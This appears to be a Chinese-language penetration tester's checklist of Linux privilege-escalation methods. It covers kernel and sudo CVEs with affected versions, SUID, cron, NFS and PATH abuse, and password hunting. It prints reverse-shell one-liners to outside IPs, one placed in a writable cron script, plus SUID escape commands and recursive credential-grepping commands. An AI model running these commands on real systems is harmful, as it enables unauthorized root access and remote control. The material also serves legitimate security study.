由于大家都会,因此本文仅做CheckList,希望大家包括我自己在渗透Linux提权的时候,可以把下面的东西都试一次。
提权脚本suggess——6k的start
https://github.com/carlospolop/PEASS-ng
Linux提权
Linux提权漏洞没有Windows提权那么丰富多彩,只有常见的几个内核提权漏洞能用
一般我都使用两个工具来辅助提权
1、linux-kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits
2、Searchsploit
Searchsploit centos 7 kernel 3.10 查看CentOS7 内核版本为3.10的内核漏洞
知道该内核版本存在哪些漏洞即可尝试进行提权操作
1、内核漏洞提权
CVE-2016-5195一般我们使用脏牛提权较多
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
检测命令:uname-a查看查看版本
原理:读写时存在条件竞争漏洞,导致破坏了只读内存映射(类似文件上传的条件竞争漏洞)
2、SUDO提权
1、CVE-2019-14287 Sudo提权(比较鸡肋)
利用条件:
sudo -v < 1.8.28
当前用户存在于sudo权限列表
需要root权限下进行一定的配置
检测命令:sudo -v 查看版本
cve-2021-3156-sudo
sudoedit -s /
1、如果是以sudoedit开头就可能存在
2、usage则不存在
https://blog.csdn.net/qq_40190341/article/details/113577351
3、SUID提权
当发现某些特殊的程序具备SUID权限时,可以尝试SUID提权,SUID——当某个文件存在SUID特殊权限,此时如果对他进行调用,则不是原版的用户权限,而是其拥有者的权限
chmod u+s test
检测命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f>/dev/null
已知的可用来提权的linux可行性的文件列表如下:
- nmap
- python
- awk
- strace
- vim
- find
- bash
- more
- less
- man
- nano
- cp/mv (覆盖密码)
甚至还有更多
https://www.secrss.com/articles/28493
4、错误配置提权
寻找某个持续以root权限执行的进程,且该进程文件我们拥有写权限
当某个进程启动权限为ROOT,对应文件的编辑权限却为普通用户时,我们可以利用它进行提权(情况模拟——比如ROOT用户启动某个脚本,这个脚本的权限正常用户也能编辑,此时我们使用普通用户就能利用该点提权)
https://github.com/DominicBreuker/pspy
5、NFS提权
如果发现Linux主机存在NFS挂载,我们可以尝试使用NFS提权,此提权需要NFS远程挂载开启,并进行一定的错误配置。
检测命令:cat /etc/exports是否存在 并查看文件内容是否存在no_root_squash的错误配置
https://my.oschina.net/u/4196756/blog/4645765
6、计划任务提权
查看那些文件我们有写权限
即-rwx/r-x/rwx 最后三位(其他用户)具有写权限,
检测命令:ls -l /etc/cron*
默认是没有这种写权限的,需要管理员进行特殊的配置
如果为/houly/daily等文件就写入一个sh文件,格式如下
#!/bin/bash
bash -i >& /dev/tcp/81.68.232.47/9999 0<&1 &
7、Sudo配置错误提权
普通用户使用sudo执行命令时会以root方式来进行执行。在许多场景里,管理员为了运维管理方便,可能会导致sudoer配置文件错误导致提权
如下图所示,本人没有进行任何配置,腾讯云的系统就默认给我ubuntu这个账户添加了sudo配置
如果想自己测试的话就,YourUserName就是你想设置的特权用户
root: vi /etc/sudoers
在最后一行添加:YourUserName ALL=(ALL:ALL) NOPASSWD:ALL
那么此时你直接反弹shell即可
检测命令:sudo /bin/bash -i >& /dev/tcp/1.1.1.1/1111 0>&1
sudo -l 可以查看当前用户可以使用的sudo命令
我们可以使用sudo -l 命令来看,像git这种命令也可以提权
8、密码复用提权
在渗透的时候,拿到WEB服务器为Linux的情况要记得翻一下数据库的管理员密码,Web密码可能和服务器主机密码是一样的
检测命令:翻越web网站数据库的密码
9、查找密码提权
这个方法就是在Linux文件里查找相关字段密码,属于信息收集的一部分
grep —color=auto -rnw ‘/‘ -ie “PASSWORD” —color=always 2> /dev/null
find . -type f -exec grep -i -I “PASSWORD” {} /dev/null \;
find . -name “.txt” -print0 | xargs -0 grep -i -n “pass”
find . -name “.sh” -print0 | xargs -0 grep -i -n “password”
10、利用通配符提权
https://www.secpulse.com/archives/72965.html
11、利用“.”环境变量提权
如下图所示,发现如果存在环境变量中存在“.”的环境变量,就可以利用该配置错误进行提权,此时登录用户可以从当前目录执行二进制文件/脚本。你执行当前目录下的文件就不用./temview了 而是直接teamview
提权利用条件和原理
1、需要环境变量存在.
2、需要找到suid权限的二进制文件
3、这个二进制调用了系统上某些命令
4、简单总结就是利用这个拥有suid权限的二进制文件(执行时以root),然后将/bin/bash写入和这个二进制文件调用的系统上某些命令一样的名字,通过环境变量劫持,导致伪造执行/bin/bash。
5、不大好用
检测命令: echo $PATH
利用文章:https://xz.aliyun.com/t/2767
12、高版本的SUID提权
在第3的标题SUID提权大家都比较熟悉,但是存在失败的可能性。
SUID的意义
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限
设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。
可能失败的原因:在高版本的Liunx(centos7)可能存在Effective UID和Real UID不相同,在高版本的Linux里引入了Effective UID这个东西
Linux进程在运行时有三个UID:
Real UID 执行该进程的用户实际的UID
Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
Saved UID 在高权限用户降权后,保留的其原本UID
一般情况下Effective UID 和Real UID一致
因此我们需要再程序里进行一个set uid=0
一些程序是支持可以设置uid=0的,因此在高版本也能成功使用suid提权
python
python -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’
vim
vim
:set shell=/bin/sh
:shell
vim
:set shell=/tmp/test
:shell
/tmp/test文件内容
/bin/bash -p
13、CVE-2021-4034
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
在本地parrot测试成功
比较猛的一个提权漏洞了
没有在目标主机上编译的话会有如下报错。
https://xz.aliyun.com/t/7924
https://xz.aliyun.com/t/8139
[https://mp.weixin.qq.com/s/egsHOPK_S5vZujqIb3ygOQ